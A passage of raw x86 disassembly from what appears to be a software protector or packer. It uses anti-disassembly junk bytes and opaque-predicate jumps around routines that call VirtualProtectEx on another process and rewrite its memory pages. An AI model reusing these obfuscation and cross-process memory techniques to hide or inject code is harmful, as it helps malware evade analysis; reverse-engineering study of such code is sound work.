[edx], eax jo short loc_4BC3D3 jl short loc_4BC3D1 loc_4BC3CE: ; CODE XREF: .text:loc_4BC3D1j ; .text:loc_4BC3D3j jmp short loc_4BC3D5 ; --------------------------------------------------------------------------- db 0E8h ; --------------------------------------------------------------------------- loc_4BC3D1: ; CODE XREF: .text:004BC3CCj jz short loc_4BC3CE loc_4BC3D3: ; CODE XREF: .text:004BC3CAj jmp short loc_4BC3CE ; --------------------------------------------------------------------------- loc_4BC3D5: ; CODE XREF: .text:004BC330j ; .text:loc_4BC3CEj jo short loc_4BC3DE jl short loc_4BC3DC loc_4BC3D9: ; CODE XREF: .text:loc_4BC3DCj ; .text:loc_4BC3DEj jmp short loc_4BC3E0 ; --------------------------------------------------------------------------- db 0E8h ; --------------------------------------------------------------------------- loc_4BC3DC: ; CODE XREF: .text:004BC3D7j jz short loc_4BC3D9 loc_4BC3DE: ; CODE XREF: .text:loc_4BC3D5j jmp short loc_4BC3D9 ; --------------------------------------------------------------------------- loc_4BC3E0: ; CODE XREF: .text:loc_4BC3D9j mov al, 1 jmp loc_4BC923 ; --------------------------------------------------------------------------- loc_4BC3E7: ; CODE XREF: .text:004BC237j xor ecx, ecx mov cl, byte_4F4780 test ecx, ecx jz short loc_4BC3FA xor al, al jmp loc_4BC923 ; --------------------------------------------------------------------------- loc_4BC3FA: ; CODE XREF: .text:004BC3F1j pusha xor eax, eax jnz short loc_4BC401 jmp short loc_4BC416 ; --------------------------------------------------------------------------- loc_4BC401: ; CODE XREF: .text:004BC3FDj jmp short loc_4BC436 ; --------------------------------------------------------------------------- db 0C0h dd 0C7A1875h ; --------------------------------------------------------------------------- loc_4BC408: ; CODE XREF: .text:loc_4BC416j jo short loc_4BC418 jmp short near ptr loc_4BC418+1 ; --------------------------------------------------------------------------- dd 790E72E8h, 15FFF1h ; --------------------------------------------------------------------------- jns short loc_4BC41F loc_4BC416: ; CODE XREF: .text:004BC3FFj jz short loc_4BC408 loc_4BC418: ; CODE XREF: .text:loc_4BC408j ; .text:004BC40Aj jmp short loc_4BC3A1 ; --------------------------------------------------------------------------- dw 7ADBh db 0F0h, 0A0h, 33h ; --------------------------------------------------------------------------- loc_4BC41F: ; CODE XREF: .text:004BC414j popa push ecx bswap ecx not ecx push eax not eax mov eax, 6C65696Dh ; CODE XREF: .text:004BC497j xchg eax, ecx mov ecx, 0DEADC0DEh xchg eax, ecx not eax loc_4BC436: ; CODE XREF: .text:loc_4BC401j pop eax not ecx pop ecx pushf pusha xor ebx, ebx jz short loc_4BC443 loc_4BC440: ; CODE XREF: .text:004BC461j jmp short near ptr loc_4BC463+1 ; --------------------------------------------------------------------------- db 0EBh ; --------------------------------------------------------------------------- loc_4BC443: ; CODE XREF: .text:004BC43Ej xor ebx, ebx jz short $+2 jmp short loc_4BC456 ; --------------------------------------------------------------------------- db 0B8h, 0EBh, 0Fh ; --------------------------------------------------------------------------- loc_4BC44C: ; CODE XREF: .text:004BC458j mov ecx, 34F9C987h nop stc jz short loc_4BC45A ; --------------------------------------------------------------------------- db 0EBh ; --------------------------------------------------------------------------- loc_4BC456: ; CODE XREF: .text:004BC447j xor eax, eax jz short loc_4BC44C loc_4BC45A: ; CODE XREF: .text:004BC453j mov eax, 4840C987h test eax, eax jnz short loc_4BC440 loc_4BC463: ; CODE XREF: .text:loc_4BC440j jmp near ptr 92B261C9h ; --------------------------------------------------------------------------- xchg ax, dx mov eax, eax mov edx, [ebp+8] shl edx, 0Ch mov eax, dword_4F4754 add eax, edx mov [ebp-10h], eax push eax not eax bswap eax pop eax jnb short $+2 pushf pusha jmp short loc_4BC4B3 ; CODE XREF: .text:loc_4BC4B3j ; --------------------------------------------------------------------------- sal byte ptr [eax+0Eh], cl loc_4BC48B: ; CODE XREF: .text:004BC4ACj jmp short loc_4BC4AA ; --------------------------------------------------------------------------- loc_4BC48D: ; CODE XREF: .text:loc_4BC4AAj xor ecx, ecx loc_4BC48F: ; CODE XREF: .text:004BC49Ej jz short $+2 jmp short loc_4BC4A3 ; --------------------------------------------------------------------------- loc_4BC493: ; CODE XREF: .text:004BC4A7j stc xor ecx, 3 jz short near ptr loc_4BC428+1 jmp short loc_4BC4A0 ; --------------------------------------------------------------------------- db 0B9h ; --------------------------------------------------------------------------- loc_4BC49C: ; CODE XREF: .text:loc_4BC4A0j jmp short loc_4BC4AE ; --------------------------------------------------------------------------- jz short loc_4BC48F loc_4BC4A0: ; CODE XREF: .text:004BC499j jnb short loc_4BC49C ; --------------------------------------------------------------------------- db 0F2h ; --------------------------------------------------------------------------- loc_4BC4A3: ; CODE XREF: .text:004BC491j sbb bl, bl xor ebx, ebx jmp short loc_4BC493 ; --------------------------------------------------------------------------- db 0E9h ; --------------------------------------------------------------------------- loc_4BC4AA: ; CODE XREF: .text:loc_4BC48Bj jmp short loc_4BC48D ; --------------------------------------------------------------------------- jmp short loc_4BC48B ; --------------------------------------------------------------------------- loc_4BC4AE: ; CODE XREF: .text:loc_4BC49Cj repne sbb al, 0DBh jmp short loc_4BC4B6 ; --------------------------------------------------------------------------- loc_4BC4B3: ; CODE XREF: .text:004BC486j jmp short near ptr loc_4BC486+1 ; --------------------------------------------------------------------------- db 0B8h ; --------------------------------------------------------------------------- loc_4BC4B6: ; CODE XREF: .text:004BC4B1j popa popf bswap eax not ecx bswap eax not ecx mov dword ptr [ebp-14h], 0 mov dword ptr [ebp-0Ch], 0 push ecx bswap ecx not ecx push eax not eax mov eax, 6C65696Dh xchg eax, ecx mov ecx, 0DEADC0DEh xchg eax, ecx not eax pop eax not ecx pop ecx pushf pusha xor ebx, ebx jz short loc_4BC4F1 loc_4BC4EE: ; CODE XREF: .text:004BC50Fj ; .text:004BC55Dj jmp short near ptr loc_4BC511+1 ; --------------------------------------------------------------------------- db 0EBh ; --------------------------------------------------------------------------- loc_4BC4F1: ; CODE XREF: .text:004BC4ECj xor ebx, ebx jz short $+2 jmp short loc_4BC504 ; --------------------------------------------------------------------------- db 0B8h db 0EBh, 0Fh ; --------------------------------------------------------------------------- loc_4BC4FA: ; CODE XREF: .text:004BC506j mov ecx, 34F9C987h nop stc jz short loc_4BC508 ; --------------------------------------------------------------------------- db 0EBh ; --------------------------------------------------------------------------- loc_4BC504: ; CODE XREF: .text:004BC4F5j xor eax, eax jz short loc_4BC4FA loc_4BC508: ; CODE XREF: .text:004BC501j mov eax, 4840C987h test eax, eax jnz short loc_4BC4EE loc_4BC511: ; CODE XREF: .text:loc_4BC4EEj jmp near ptr 92B26277h ; --------------------------------------------------------------------------- xchg ax, dx mov eax, eax jo short loc_4BC523 jl short loc_4BC521 loc_4BC51E: ; CODE XREF: .text:loc_4BC521j ; .text:loc_4BC523j jmp short loc_4BC525 ; --------------------------------------------------------------------------- db 0E8h ; --------------------------------------------------------------------------- loc_4BC521: ; CODE XREF: .text:004BC51Cj jz short loc_4BC51E loc_4BC523: ; CODE XREF: .text:004BC51Aj jmp short loc_4BC51E ; --------------------------------------------------------------------------- loc_4BC525: ; CODE XREF: .text:loc_4BC51Ej lea ecx, [ebp-14h] push ecx push 4 push 1000h mov edx, [ebp-10h] push edx mov eax, dword_4F4750 mov ecx, [eax] push ecx call dword_4ED110 ; VirtualProtectEx push eax not eax bswap eax pop eax jnb short $+2 pushf pusha jmp short loc_4BC579 ; CODE XREF: .text:loc_4BC579j ; .text:loc_4BC5C4j ; --------------------------------------------------------------------------- sal byte ptr [eax+0Eh], cl loc_4BC551: ; CODE XREF: .text:004BC572j jmp short loc_4BC570 ; --------------------------------------------------------------------------- loc_4BC553: ; CODE XREF: .text:loc_4BC570j xor ecx, ecx loc_4BC555: ; CODE XREF: .text:004BC564j jz short $+2 jmp short loc_4BC569 ; --------------------------------------------------------------------------- loc_4BC559: ; CODE XREF: .text:004BC56Dj stc xor ecx, 3 jz short near ptr loc_4BC4EE+1 jmp short loc_4BC566 ; --------------------------------------------------------------------------- db 0B9h ; --------------------------------------------------------------------------- loc_4BC562: ; CODE XREF: .text:loc_4BC566j jmp short loc_4BC574 ; --------------------------------------------------------------------------- jz short loc_4BC555 loc_4BC566: ; CODE XREF: .text:004BC55Fj jnb short loc_4BC562 ; --------------------------------------------------------------------------- db 0F2h ; --------------------------------------------------------------------------- loc_4BC569: ; CODE XREF: .text:004BC557j sbb bl, bl xor ebx, ebx jmp short loc_4BC559 ; --------------------------------------------------------------------------- db 0E9h ; --------------------------------------------------------------------------- loc_4BC570: ; CODE XREF: .text:loc_4BC551j jmp short loc_4BC553 ; --------------------------------------------------------------------------- jmp short loc_4BC551 ; --------------------------------------------------------------------------- loc_4BC574: ; CODE XREF: .text:loc_4BC562j repne sbb al, 0DBh jmp short loc_4BC57C ; --------------------------------------------------------------------------- loc_4BC579: ; CODE XREF: .text:004BC54Cj jmp short near ptr loc_4BC54C+1 ; --------------------------------------------------------------------------- db 0B8h ; --------------------------------------------------------------------------- loc_4BC57C: ; CODE XREF: .text:004BC577j popa popf bswap eax not ecx bswap eax not ecx lea edx, [ebp-0Ch] push edx mov eax, [ebp-14h] push eax push 1000h mov ecx, [ebp-10h] push ecx mov edx, dword_4F4750 mov eax, [edx] push eax call dword_4ED110 ; CODE XREF: .text:004BC610j pusha xor eax, eax jnz short loc_4BC5AD jmp short loc_4BC5C2 ; --------------------------------------------------------------------------- loc_4BC5AD: ; CODE XREF: .text:004BC5A9j jmp short loc_4BC5E2 ; --------------------------------------------------------------------------- db 0C0h dd 0C7A1875h ; --------------------------------------------------------------------------- loc_4BC5B4: ; CODE XREF: .text:loc_4BC5C2j jo short loc_4BC5C4 jmp short near ptr loc_4BC5C4+1 ; --------------------------------------------------------------------------- dd 790E72E8h, 15FFF1h ; --------------------------------------------------------------------------- jns short loc_4BC5CB loc_4BC5C2: ; CODE XREF: .text:004BC5ABj jz short loc_4BC5B4 loc_4BC5C4: ; CODE XREF: .text:loc_4BC5B4j ; .text:004BC5B6j jmp short near ptr loc_4BC54C+1 ; --------------------------------------------------------------------------- dw 7ADBh db 0F0h, 0A0h, 33h ; --------------------------------------------------------------------------- loc_4BC5CB: ; CODE XREF: .text:004BC5C0j popa mov al, 1 jmp loc_4BC923 ; --------------------------------------------------------------------------- push 0 mov ecx, [ebp+0Ch] push ecx mov edx, [ebp+8] push edx call loc_4BC92A ; CODE XREF: .text:loc_4BC657j loc_4BC5E2: ; CODE XREF: .text:loc_4BC5ADj add esp, 0Ch and eax, 0FFh test eax, eax jnz short loc_4BC5F5 xor al, al jmp loc_4BC923 ; --------------------------------------------------------------------------- loc_4BC5F5: ; CODE XREF: .text:004BC5ECj push eax not eax bswap eax pop eax jnb short $+2 pushf pusha jmp short loc_4BC62C ; CODE XREF: .text:loc_4BC62Cj ; --------------------------------------------------------------------------- sal byte ptr [eax+0Eh], cl loc_4BC604: ; CODE XREF: .text:004BC625j jmp short loc_4BC623 ; --------------------------------------------------------------------------- loc_4BC606: ; CODE XREF: .text:loc_4BC623j xor ecx, ecx loc_4BC608: ; CODE XREF: .text:004BC617j jz short $+2 jmp short loc_4BC61C ; --------------------------------------------------------------------------- loc_4BC60C: ; CODE XREF: .text:004BC620j stc xor ecx, 3 jz short near ptr loc_4BC5A0+2 jmp short loc_4BC619 ; --------------------------------------------------------------------------- db 0B9h ; --------------------------------------------------------------------------- loc_4BC615: ; CODE XREF: .text:loc_4BC619j jmp short loc_4BC627 ; --------------------------------------------------------------------------- jz short loc_4BC608 loc_4BC619: ; CODE XREF: .text:004BC612j jnb short loc_4BC615 ; --------------------------------------------------------------------------- db 0F2h ; --------------------------------------------------------------------------- loc_4BC61C: ; CODE XREF: .text:004BC60Aj sbb bl, bl xor ebx, ebx jmp short loc_4BC60C ; --------------------------------------------------------------------------- db 0E9h ; --------------------------------------------------------------------------- loc_4BC623: ; CODE XREF: .text:loc_4BC604j jmp short loc_4BC606 ; --------------------------------------------------------------------------- jmp short loc_4BC604 ; --------------------------------------------------------------------------- loc_4BC627: ; CODE XREF: .text:loc_4BC615j repne sbb al, 0DBh jmp short loc_4BC62F ; --------------------------------------------------------------------------- loc_4BC62C: ; CODE XREF: .text:004BC5FFj jmp short near ptr loc_4BC5FF+1 ; --------------------------------------------------------------------------- db 0B8h ; --------------------------------------------------------------------------- loc_4BC62F: ; CODE XREF: .text:004BC62Aj popa popf bswap eax not ecx bswap eax not ecx pusha xor eax, eax jnz short loc_4BC640 jmp short loc_4BC655 ; --------------------------------------------------------------------------- loc_4BC640: ; CODE XREF: .text:004BC63Cj jmp short loc_4BC675 ; --------------------------------------------------------------------------- dw 75C0h ; --------------------------------------------------------------------------- sbb [edx+0Ch], bh loc_4BC647: ; CODE XREF: .text:loc_4BC655j jo short loc_4BC657 jmp short near ptr loc_4BC657+1 ; --------------------------------------------------------------------------- db 0E8h dd 0F1790E72h, 790015FFh db 9 ; --------------------------------------------------------------------------- loc_4BC655: ; CODE XREF: .text:004BC63Ej jz short loc_4BC647 loc_4BC657: ; CODE XREF: .text:loc_4BC647j ; .text:004BC649j jmp short near ptr loc_4BC5DD+3 ; --------------------------------------------------------------------------- fstp tbyte ptr [edx-10h] mov al, ds:6CA16133h inc edi dec edi add [ebx+6CA301C0h], al inc edi dec edi add [eax+7], dh jl short loc_4BC673 loc_4BC670: ; CODE XREF: .text:loc_4BC673j ; .text:loc_4BC675j jmp short loc_4BC677 ; --------------------------------------------------------------------------- db 0E8h ; --------------------------------------------------------------------------- loc_4BC673: ; CODE XREF: .text:004BC66Ej jz short loc_4BC670 loc_4BC675: ; CODE XREF: .text:loc_4BC640j jmp short loc_4BC670 ; --------------------------------------------------------------------------- loc_4BC677: ; CODE XREF: .text:loc_4BC670j mov ecx, dword_4F4768 lea edx, ds:0FFFFFFFCh[ecx*4] push edx mov eax, dword_4F4770 push eax mov ecx, dword_4F4770 add ecx, 4 push ecx call _memcpy_2 add esp, 0Ch ; CODE XREF: .text:loc_4BC712j push ecx bswap ecx not ecx push eax not eax mov eax, 6C65696Dh xchg eax, ecx mov ecx, 0DEADC0DEh xchg eax, ecx not eax pop eax not ecx pop ecx pushf pusha xor ebx, ebx jz short loc_4BC6C0 loc_4BC6BD: ; CODE XREF: .text:004BC6DEj jmp short near ptr loc_4BC6E0+1 ; --------------------------------------------------------------------------- db 0EBh ; --------------------------------------------------------------------------- loc_4BC6C0: ; CODE XREF: .text:004BC6BBj xor ebx, ebx jz short $+2 jmp short loc_4BC6D3 ; --------------------------------------------------------------------------- dw 0EBB8h db 0Fh ; --------------------------------------------------------------------------- loc_4BC6C9: ; CODE XREF: .text:004BC6D5j mov ecx, 34F9C987h nop stc jz short loc_4BC6D7 ; --------------------------------------------------------------------------- db 0EBh ; --------------------------------------------------------------------------- loc_4BC6D3: ; CODE XREF: .text:004BC6C4j xor eax, eax jz short loc_4BC6C9 loc_4BC6D7: ; CODE XREF: .text:004BC6D0j mov eax, 4840C987h test eax, eax jnz short loc_4BC6BD loc_4BC6E0: ; CODE XREF: .text:loc_4BC6BDj jmp near ptr 92B26446h ; --------------------------------------------------------------------------- xchg ax, dx mov eax, eax mov edx, dword_4F4770 mov eax, [ebp+8] mov [edx], eax pusha loc_4BC6F5: ; CODE XREF: .text:004BC763j xor eax, eax jnz short loc_4BC6FB jmp short loc_4BC710 ; --------------------------------------------------------------------------- loc_4BC6FB: ; CODE XREF: .text:004BC6F7j jmp short loc_4BC730 ; --------------------------------------------------------------------------- db 0C0h, 75h, 18h db 7Ah, 0Ch ; --------------------------------------------------------------------------- loc_4BC702: ; CODE XREF: .text:loc_4BC710j jo short loc_4BC712 jmp short near ptr loc_4BC712+1 ; --------------------------------------------------------------------------- dw 72E8h dd 0FFF1790Eh, 9790015h ; --------------------------------------------------------------------------- loc_4BC710: ; CODE XREF: .text:004BC6F9j jz short loc_4BC702 loc_4BC712: ; CODE XREF: .text:loc_4BC702j ; .text:004BC704j jmp short near ptr loc_4BC69A+1 ; --------------------------------------------------------------------------- dd 0A0F07ADBh, 4D8B6133h, 0FFE18110h, 85000000h, 0F6850FC9h dd 70000001h, 0EB037C07h ; --------------------------------------------------------------------------- loc_4BC730: ; CODE XREF: .text:loc_4BC6FBj add eax, 0EBFB74E8h stc loc_4BC736: ; CODE XREF: .text:loc_4BC91Cj mov edx, dword_4F476C cmp edx, dword_4ED840 jle loc_4BC921 push eax not eax bswap eax pop eax jnb short $+2 pushf pusha jmp short loc_4BC77F ; CODE XREF: .text:loc_4BC77Fj ; --------------------------------------------------------------------------- sal byte ptr [eax+0Eh], cl loc_4BC757: ; CODE XREF: .text:004BC778j jmp short loc_4BC776 ; --------------------------------------------------------------------------- loc_4BC759: ; CODE XREF: .text:loc_4BC776j xor ecx, ecx loc_4BC75B: ; CODE XREF: .text:004BC76Aj jz short $+2 jmp short loc_4BC76F ; --------------------------------------------------------------------------- loc_4BC75F: ; CODE XREF: .text:004BC773j stc xor ecx, 3 jz short loc_4BC6F5 jmp short loc_4BC76C ; --------------------------------------------------------------------------- db 0B9h ; --------------------------------------------------------------------------- loc_4BC768: ; CODE XREF: .text:loc_4BC76Cj jmp short loc_4BC77A ; --------------------------------------------------------------------------- jz short loc_4BC75B loc_4BC76C: ; CODE XREF: .text:004BC765j jnb short loc_4BC768 ; --------------------------------------------------------------------------- db 0F2h ; --------------------------------------------------------------------------- loc_4BC76F: ; CODE XREF: .text:004BC75Dj sbb bl, bl xor ebx, ebx jmp short loc_4BC75F ; --------------------------------------------------------------------------- db 0E9h ; --------------------------------------------------------------------------- loc_4BC776: ; CODE XREF: .text:loc_4BC757j jmp short loc_4BC759 ; --------------------------------------------------------------------------- jmp short loc_4BC757 ; --------------------------------------------------------------------------- loc_4BC77A: ; CODE XREF: .text:loc_4BC768j repne sbb al, 0DBh jmp short loc_4BC782 ; --------------------------------------------------------------------------- loc_4BC77F: ; CODE XREF: .text:004BC752j jmp short near ptr loc_4BC752+1 ; --------------------------------------------------------------------------- db 0B8h ; --------------------------------------------------------------------------- loc_4BC782: ; CODE XREF: .text:004BC77Dj popa popf bswap eax not ecx bswap eax not ecx mov eax, dword_4F476C sub eax, 1 mov dword_4F476C, eax push ecx bswap ecx not ecx push eax not eax mov eax, 6C65696Dh xchg eax, ecx mov ecx, 0DEADC0DEh xchg eax, ecx not eax pop eax not ecx pop ecx pushf pusha xor ebx, ebx jz short loc_4BC7BC loc_4BC7B9: ; CODE XREF: .text:004BC7DAj jmp short near ptr loc_4BC7DC+1 ; --------------------------------------------------------------------------- db 0EBh ; --------------------------------------------------------------------------- loc_4BC7BC: ; CODE XREF: .text:004BC7B7j xor ebx, ebx jz short $+2 jmp short loc_4BC7CF ; --------------------------------------------------------------------------- dw 0EBB8h db 0Fh ; --------------------------------------------------------------------------- loc_4BC7C5: ; CODE XREF: .text:004BC7D1j mov ecx, 34F9C987h nop stc jz short loc_4BC7D3 ; --------------------------------------------------------------------------- db 0EBh ; --------------------------------------------------------------------------- loc_4BC7CF: ; CODE XREF: .text:004BC7C0j xor eax, eax jz short loc_4BC7C5 loc_4BC7D3: ; CODE XREF: .text:004BC7CCj mov eax, 4840C987h test eax, eax jnz short loc_4BC7B9 loc_4BC7DC: ; CODE XREF: .text:loc_4BC7B9j jmp near ptr 92B26542h ; --------------------------------------------------------------------------- xchg ax, dx mov eax, eax push 1 mov ecx, dword_4F476C mov edx, dword_4F4770 mov esi, [edx+ecx*4] shl esi, 4 mov eax, dword_4F476C mov ecx, dword_4F4770 mov edx, [ecx+eax*4] and edx, 80000007h jns short loc_4BC814 dec edx or edx, 0FFFFFFF8h inc edx loc_4BC814: ; CODE XREF: .text:004BC80Dj xor eax, eax mov al, byte_4F1F78[edx] mov ecx, dword_4F476C mov edx, dword_4F4770 mov ecx, [edx+ecx*4] and ecx, 80000007h jns short loc_4BC838 dec ecx or ecx, 0FFFFFFF8h inc ecx loc_4BC838: ; CODE XREF: .text:004BC831j xor edx, edx mov dl, byte_4F1F79[ecx] mov edi, dword_4ED3A8[eax*4] xor edi, dword_4ED3A8[edx*4] mov eax, dword_4F476C mov ecx, dword_4F4770 mov edx, [ecx+eax*4] and edx, 80000007h jns short loc_4BC869 dec edx or edx, 0FFFFFFF8h ; CODE XREF: .text:004BC8D5j inc edx loc_4BC869: ; CODE XREF: .text:004BC862j xor eax, eax mov al, byte_4F1F7A[edx] xor edi, dword_4ED3A8[eax*4] mov ecx, dword_4F476C mov edx, dword_4F4770 mov eax, [edx+ecx*4] cdq mov ecx, 1Ch idiv ecx mov ecx, edx shr edi, cl and edi, 0Fh add esi, edi mov edx, dword_4F474C lea eax, [edx+esi*4] push eax mov ecx, dword_4F476C mov edx, dword_4F4770 mov eax, [edx+ecx*4] push eax call loc_4BC92A add esp, 0Ch push eax not eax bswap eax pop eax jnb short $+2 pushf pusha jmp short loc_4BC8F1 ; CODE XREF: .text:loc_4BC8F1j ; --------------------------------------------------------------------------- sal byte ptr [eax+0Eh], cl loc_4BC8C9: ; CODE XREF: .text:004BC8EAj jmp short loc_4BC8E8 ; --------------------------------------------------------------------------- loc_4BC8CB: ; CODE XREF: .text:loc_4BC8E8j xor ecx, ecx loc_4BC8CD: ; CODE XREF: .text:004BC8DCj jz short $+2 jmp short loc_4BC8E1 ; --------------------------------------------------------------------------- loc_4BC8D1: ; CODE XREF: .text:004BC8E5j stc xor ecx, 3 jz short near ptr loc_4BC865+2 jmp short loc_4BC8DE ; --------------------------------------------------------------------------- db 0B9h ; --------------------------------------------------------------------------- loc_4BC8DA: ; CODE XREF: .text:loc_4BC8DEj jmp short loc_4BC8EC ; --------------------------------------------------------------------------- jz short loc_4BC8CD loc_4BC8DE: ; CODE XREF: .text:004BC8D7j jnb short loc_4BC8DA ; --------------------------------------------------------------------------- db 0F2h ; --------------------------------------------------------------------------- loc_4BC8E1: ; CODE XREF: .text:004BC8CFj sbb bl, bl xor ebx, ebx jmp short loc_4BC8D1 ; --------------------------------------------------------------------------- db 0E9h ; --------------------------------------------------------------------------- loc_4BC8E8: ; CODE XREF: .text:loc_4BC8C9j jmp short loc_4BC8CB ; --------------------------------------------------------------------------- jmp short loc_4BC8C9 ; --------------------------------------------------------------------------- loc_4BC8EC: ; CODE XREF: .text:loc_4BC8DAj repne sbb al, 0DBh jmp short loc_4BC8F4 ; --------------------------------------------------------------------------- loc_4BC8F1: ; CODE XREF: .text:004BC8C4j jmp short near ptr loc_4BC8C4+1 ; --------------------------------------------------------------------------- db 0B8h ; --------------------------------------------------------------------------- loc_4BC8F4: ; CODE XREF: .text:004BC8EFj popa popf bswap eax not ecx bswap eax not ecx mov ecx, dword_4F476C loc_4BC904: ; CODE XREF: .text:loc_4BC97Bj mov edx, dword_4F4770 mov dword ptr [edx+ecx*4], 0FFFFFFFFh jo short loc_4BC91A jl short loc_4BC918 loc_4BC915: ; CODE XREF: .text:loc_4BC918j ; .text:loc_4BC91Aj jmp short loc_4BC91C ; --------------------------------------------------------------------------- db 0E8h ; --------------------------------------------------------------------------- loc_4BC918: ; CODE XREF: .text:004BC913j jz short loc_4BC915 loc_4BC91A: ; CODE XREF: .text:004BC911j jmp short loc_4BC915 ; --------------------------------------------------------------------------- loc_4BC91C: ; CODE XREF: .text:loc_4BC915j jmp loc_4BC736 ; --------------------------------------------------------------------------- loc_4BC921: ; CODE XREF: .text:004BC742j mov al, 1 loc_4BC923: ; CODE XREF: .text:004BC3E2j ; .text:004BC3F5j ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- loc_4BC92A: ; CODE XREF: .text:loc_4BC5DDp ; .text:004BC8B2p push ebp mov ebp, esp sub esp, 100h push ebx push esi push edi mov eax, [ebp+8] shl eax, 0Ch mov ecx, dword_4F4754 add ecx, eax mov [ebp-14h], ecx mov edx, dword_4F477C mov [ebp-4], edx mov eax, dword_4F477C add eax, 1000h mov [ebp-0Ch], eax pusha xor eax, eax jnz short loc_4BC964 jmp short loc_4BC979 ; --------------------------------------------------------------------------- loc_4BC964: ; CODE XREF: .text:004BC960j jmp short loc_4BC999 ; --------------------------------------------------------------------------- dw 75C0h ; --------------------------------------------------------------------------- sbb [edx+0Ch], bh loc_4BC96B: ; CODE XREF: .text:loc_4BC979j jo short loc_4BC97B jmp short near ptr loc_4BC97B+1 ; --------------------------------------------------------------------------- db 0E8h dd 0F1790E72h, 790015FFh db 9 ; --------------------------------------------------------------------------- loc_4BC979: ; CODE XREF: .text:004BC962j jz short loc_4BC96B loc_4BC97B: ; CODE XREF: .text:loc_4BC96Bj ; .text:004BC96Dj jmp short loc_4BC904 ; --------------------------------------------------------------------------- db 0DBh, 7Ah, 0F0h dd 8B6133A0h, 0E181104Dh, 0FFh, 2474C985h, 0A108558Bh dd 4F4774h db 8Bh ; --------------------------------------------------------------------------- loc_4BC999: ; CODE XREF: .text:loc_4BC964j or al, 90h and ecx, 1 test ecx, ecx jnz short loc_4BC9B4 jo short loc_4BC9AB jl short loc_4BC9A9 loc_4BC9A6: ; CODE XREF: .text:loc_4BC9A9j ; .text:loc_4BC9ABj jmp short loc_4BC9AD ; --------------------------------------------------------------------------- db 0E8h ; --------------------------------------------------------------------------- loc_4BC9A9: ; CODE XREF: .text:004BC9A4j jz short loc_4BC9A6 loc_4BC9AB: ; CODE XREF: .text:004BC9A2j jmp short loc_4BC9A6 ; --------------------------------------------------------------------------- loc_4BC9AD: ; CODE XREF: .text:loc_4BC9A6j xor al, al jmp loc_4BDA6A ; --------------------------------------------------------------------------- loc_4BC9B4: ; CODE XREF: .text:004BC9A0j push ecx bswap ecx not ecx push eax not eax mov eax, 6C65696Dh xchg eax, ecx mov ecx, 0DEADC0DEh xchg eax, ecx not eax pop eax not ecx pop ecx pushf pusha xor ebx, ebx jz short loc_4BC9D7 loc_4BC9D4: ; CODE XREF: .text:004BC9F5j jmp short near ptr loc_4BC9F7+1 ; --------------------------------------------------------------------------- db 0EBh ; --------------------------------------------------------------------------- loc_4BC9D7: ; CODE XREF: .text:004BC9D2j ; .text:004BCA46j xor ebx, ebx jz short $+2 jmp short loc_4BC9EA ; --------------------------------------------------------------------------- db 0B8h, 0EBh, 0Fh ; --------------------------------------------------------------------------- loc_4BC9E0: ; CODE XREF: .text:004BC9ECj mov ecx, 34F9C987h nop stc jz short loc_4BC9EE ; --------------------------------------------------------------------------- db 0EBh ; --------------------------------------------------------------------------- loc_4BC9EA: ; CODE XREF: .text:004BC9DBj xor eax, eax jz short loc_4BC9E0 loc_4BC9EE: ; CODE XREF: .text:004BC9E7j mov eax, 4840C987h test eax, eax jnz short loc_4BC9D4 loc_4BC9F7: ; CODE XREF: .text:loc_4BC9D4j jmp near ptr 92B2675Dh ; --------------------------------------------------------------------------- xchg ax, dx mov eax, eax jo short loc_4BCA09 jl short loc_4BCA07 loc_4BCA04: ; CODE XREF: .text:loc_4BCA07j ; .text:loc_4BCA09j jmp short loc_4BCA0B ; --------------------------------------------------------------------------- db 0E8h ; --------------------------------------------------------------------------- loc_4BCA07: ; CODE XREF: .text:004BCA02j jz short loc_4BCA04 loc_4BCA09: ; CODE XREF: .text:004BCA00j jmp short loc_4BCA04 ; --------------------------------------------------------------------------- loc_4BCA0B: ; CODE XREF: .text:loc_4BCA04j mov edx, [ebp+10h] and edx, 0FFh test edx, edx jnz short loc_4BCA76 mov eax, [ebp+8] mov ecx, dword_4F4774 mov edx, [ecx+eax*4] and edx, 1 test edx, edx jz short loc_4BCA76 push eax not eax bswap eax pop eax jnb short $+2 pushf pusha jmp short loc_4BCA62 ; CODE XREF: .text:loc_4BCA62j ; --------------------------------------------------------------------------- sal byte ptr [eax+0Eh], cl loc_4BCA3A: ; CODE XREF: .text:004BCA5Bj jmp short loc_4BCA59 ; --------------------------------------------------------------------------- loc_4BCA3C: ; CODE XREF: .text:loc_4BCA59j xor ecx, ecx loc_4BCA3E: ; CODE XREF: .text:004BCA4Dj jz short $+2 jmp short loc_4BCA52 ; --------------------------------------------------------------------------- loc_4BCA42: ; CODE XREF: .text:004BCA56j stc xor ecx, 3 jz short near ptr loc_4BC9D7+1 jmp short loc_4BCA4F ; --------------------------------------------------------------------------- db 0B9h ; --------------------------------------------------------------------------- loc_4BCA4B: ; CODE XREF: .text:loc_4BCA4Fj jmp short loc_4BCA5D ; --------------------------------------------------------------------------- jz short loc_4BCA3E loc_4BCA4F: ; CODE XREF: .text:004BCA48j jnb short loc_4BCA4B ; --------------------------------------------------------------------------- db 0F2h ; --------------------------------------------------------------------------- loc_4BCA52: ; CODE XREF: .text:004BCA40j sbb bl, bl xor ebx, ebx jmp short loc_4BCA42 ; --------------------------------------------------------------------------- db 0E9h ; --------------------------------------------------------------------------- loc_4BCA59: ; CODE XREF: .text:loc_4BCA3Aj jmp short loc_4BCA3C ; --------------------------------------------------------------------------- jmp short loc_4BCA3A ; --------------------------------------------------------------------------- loc_4BCA5D: ; CODE XREF: .text:loc_4BCA4Bj repne sbb al, 0DBh jmp short loc_4BCA65 ; --------------------------------------------------------------------------- loc_4BCA62: ; CODE XREF: .text:004BCA35j jmp short near ptr loc_4BCA35+1 ; --------------------------------------------------------------------------- db 0B8h ; --------------------------------------------------------------------------- loc_4BCA65: ; CODE XREF: .text:004BCA60j popa popf bswap eax not ecx bswap eax not ecx xor al, al jmp loc_4BDA6A ; --------------------------------------------------------------------------- loc_4BCA76: ; CODE XREF: .text:004BCA16j ; .text:004BCA29j push ecx bswap ecx not ecx push eax not eax mov eax, 6C65696Dh xchg eax, ecx mov ecx, 0DEADC0DEh xchg eax, ecx not eax pop eax not ecx pop ecx pushf pusha xor ebx, ebx jz short loc_4BCA99 loc_4BCA96: ; CODE XREF: .text:004BCAB7j jmp short near ptr loc_4BCAB9+1 ; --------------------------------------------------------------------------- db 0EBh ; --------------------------------------------------------------------------- loc_4BCA99: ; CODE XREF: .text:004BCA94j xor ebx, ebx jz short $+2 